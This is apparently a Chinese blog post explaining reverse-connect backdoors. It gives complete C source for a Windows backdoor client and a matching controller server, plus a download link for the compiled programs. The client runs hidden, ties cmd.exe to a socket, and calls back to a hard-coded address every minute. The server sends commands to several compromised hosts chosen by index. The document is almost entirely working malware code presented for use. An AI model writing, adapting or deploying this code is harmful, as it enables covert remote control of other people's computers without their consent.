反弹后门是什么
https://www.freebuf.com/articles/web/166732.html
源代码及编译好的程序
https://pan.baidu.com/s/1fQvRbt8UKO3ol5_cZrAGnw
源代码
client
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
#define DEST_PORT 1500 /* 服务器端口 */
#define DEST_IP "192.168.111.53" /*服务器IP*/
#define MAX_DATA 1024
#define FAIL_TIME 60000//服务器未开启时,本机每隔1分钟尝试连接一次
#define SUCCESS_TIME 600000 //成功连接服务器,10分钟后重新连接
int main()
{
SOCKET sock;
struct sockaddr_in dest_addr; /*目标地址信息*/
char buf[MAX_DATA] = { 0 }; /* 接收数据缓冲区 */
WSADATA wsaData;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons( DEST_PORT );
dest_addr.sin_addr.s_addr = inet_addr( DEST_IP );
memset( &(dest_addr.sin_zero), 0, 8 );
if ( WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) ) /*socket编程必须先初始化*/
{
printf( "WSAStartup failed\n" );
exit( 0 );
}
/* 启动信息,创建进程要用到 */
STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;//隐藏cmd.exe窗口
char cmdLine[256] = { 0 };
GetSystemDirectory( cmdLine, sizeof(cmdLine) );
strcat( cmdLine, ("\\cmd.exe") );//获取cmd.exe的绝对路径
PROCESS_INFORMATION ProcessInformation;/* 程序信息,创建进程要用到 */
while(1){//根据服务器是否在线,设定不同的时间循环尝试连接
sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
if ( sock == -1 )
{
printf( "socket failed:%d", WSAGetLastError() );
}
si.hStdInput = (void *) sock;//重定向cmd.exe的输入为socket,以接收服务器发来的指令
si.hStdOutput = si.hStdError = (void *) sock;//重定向cmd.exe的输出为socket,以发送执行结果给服务器
if ( connect( sock, (struct sockaddr *) &dest_addr, sizeof(struct sockaddr) ) != -1 ) /* 尝试连接服务器 */
{ printf( "connect success\n" );
if ( CreateProcess( cmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &ProcessInformation ) == 0 )printf( "cmd fail\n" );
//连接成功则打开cmd.exe
Sleep(SUCCESS_TIME);//本进程休眠一段时间,这段时间由cmd.exe和服务器交互
TerminateProcess(ProcessInformation.hProcess,1);//为了避免服务器退出后cmd.exe一直等待,所以一段时间后要强行结束以再次连接
if(sock!=INVALID_SOCKET)//结束cmd进程后关闭socket
{
closesocket(sock);
sock = INVALID_SOCKET;
}
} else{//连接失败
switch (WSAGetLastError())
{
case 10061://服务器不在线
printf( "connect failed\n");
break;
default://其他原因
printf( "连接失败,错误码:%d\n",WSAGetLastError());
}
Sleep(FAIL_TIME);
}
}
return(0);
}
server
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
#define PORT 1500 /* 端口号 */
#define BACKLOG 10 /*最大连接数*/
#define MAX_DATA 1024
#define KILL_TIME 61000 //结束ThreadFunc线程的时间
typedef struct _Threadv
{
SOCKET* new_sock;
SOCKET sock;
struct sockaddr_in* ptheir_addr;
int* psin_size;
}Threadv;
void print(char *cmdstr)//实现去除执行结果中的 "命令\n"
{
while(*((char*)cmdstr++)!='\n');
printf(cmdstr);
}
void ThreadFunc(Threadv* ptv)//输出被控机的IP和端口
{ int i=0;
while ( ((*ptv).new_sock[i] = accept( (*ptv).sock, (struct sockaddr *)(*ptv).ptheir_addr, (*ptv).psin_size )) != -1){
if(!getpeername((*ptv).new_sock[i], (struct sockaddr *)(*ptv).ptheir_addr, (*ptv).psin_size))
{
printf( "IP:%s\n", inet_ntoa((*(*ptv).ptheir_addr).sin_addr));
printf( "PORT:%d\n", ntohs((*(*ptv).ptheir_addr).sin_port));
}
i++;
}
}
int main()
{
SOCKET sock, new_sock[BACKLOG]={0}; /*socket句柄和建立连接后的句柄数组*/
struct sockaddr_in my_addr; /*本方地址信息*/
struct sockaddr_in their_addr; /*对方地址信息*/
int sin_size = sizeof(struct sockaddr_in);
int socknum=0;//遍历new_sock数组
WSADATA wsaData;
char buf[MAX_DATA] = { 0 }; /* 接收数据缓冲区 */
char sendBuff[MAX_DATA] = { 0 };//发送数据缓冲区
char ch;//接收输入命令字符的变量
void* hThread ;//线程句柄,输出被控机IP及端口后结束此线程
unsigned long ThreadID;//作为存放线程ID的容器,暂时未用到
Threadv tv;//传递给线程的参数
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons( PORT ); /*本机端口*/
my_addr.sin_addr.s_addr = htonl( INADDR_ANY ); /*本机IP*/
memset( &(my_addr.sin_zero), 0, 8 ); /*将其他属性置0*/
if ( WSAStartup( MAKEWORD( 2, 2 ), &wsaData ) ) /*socket编程必须先初始化*/
{
printf( "WSAStartup failed:%d\n", WSAGetLastError() );
return(-1);
}
if ( (sock = socket( AF_INET, SOCK_STREAM, 0 ) ) == -1 ) /* 建立socket */
{
printf( "socket failed:%d\n", WSAGetLastError() );
return(-1);
}
if ( bind( sock, (struct sockaddr *) &my_addr, sizeof(struct sockaddr) ) < 0 ) /* 绑定地址结构体和socket */
{
printf( "bind failed:%d\n", WSAGetLastError() );
return(-1);
}
listen( sock, BACKLOG ); /* 开启监听*/
tv.new_sock=new_sock;
tv.sock=sock;
tv.ptheir_addr=&their_addr;
tv.psin_size=&sin_size;
hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadFunc,&tv,0,&ThreadID);//把新建立的socket放入new_sock数组,并输出被控机的IP和端口
Sleep(KILL_TIME);//这里的时间要根据客户端循环检测的时间定,假如客户端在连接失败时隔60秒再进行连接,那么这里的时间就要大于60秒,以保证所有客户端能连接到服务器
if(!TerminateThread(hThread,1))printf( "结束线程失败,错误码:%d\n",WSAGetLastError());//等所有客户端连接后结束此线程
while(new_sock[socknum]!=0){//用来清除被控机中的cmd窗口输出的初始化信息,如:Microsoft Windows [版本 6.1.7601]版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
recv( new_sock[socknum], buf, MAX_DATA, 0 );
socknum++;
}
ZeroMemory(buf,1024);
printf( "请输入命令,格式:索引 命令\n");//比如:0 echo a 是指new_sock数组中索引为0的socket对应的被控机在cmd.exe窗口执行echo a命令
while ( 1 )//循环获取输入以执行命令
{
while(1){
int count=0;
while((ch=getchar())!='\n')
{
sendBuff[count]=ch;
count++;
}
sendBuff[count++]='\n';
send( new_sock[sendBuff[0]-'0'], sendBuff+2, count-2, 0 );//sendBuff是字符数组,所以sendBuff[0]是字符不是数字,要减去'0'转化为数字;索引和空格占用2个字节,所以起始地址为sendBuff+2, 准备发送的字节数为count-2
Sleep(500);//等待被控机执行命令
recv( new_sock[sendBuff[0]-'0'], buf, MAX_DATA, 0 ); //获取执行结果 /* 将接收数据写入buf,参数分别是句柄,储存处,最大长度,其他信息(设为0即可)。 */
print( buf );
ZeroMemory(buf,1024);
ZeroMemory(sendBuff,1024);
}
}
return(0);
}